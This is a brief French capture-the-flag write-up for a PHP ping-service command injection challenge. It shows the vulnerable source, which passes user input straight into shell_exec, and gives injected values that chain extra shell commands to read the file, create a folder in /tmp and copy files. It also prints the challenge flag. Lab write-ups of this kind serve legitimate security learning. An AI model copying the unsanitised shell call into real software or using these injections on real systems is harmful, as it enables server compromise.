Aller au contenu

PHP Injection de commande

Lien du CTF


Solution

127.0.0.1 && cat index.php | grep flag Le flag apparaît sous la requête ping.

$flag = "S3rv1ceP1n9Sup3rS3cure";

Code source :

<html>
<head>
<title>Ping Service</title>
</head>
<body>
<form method="POST" action="index.php">
        <input type="text" name="ip" placeholder="127.0.0.1">
        <input type="submit">
</form>
<pre>
<?php
$flag = "S3rv1ce...S3cure";
if(isset($_POST["ip"]) && !empty($_POST["ip"])){
        $response = shell_exec("timeout 5 bash -c 'ping -c 3 ".$_POST["ip"]."'");
        echo $response;
}
?>
</pre>
</body>
</html>

Chemin de base : /challenge/web-serveur/ch54

Création d'un dossier dans /tmp : ;mkdir /tmp/tux

Copier idnex.php dans le tmp : ;cd /tmp/tux && cp /challenge/web-serveur/ch54/index.php indexX.php && ls -la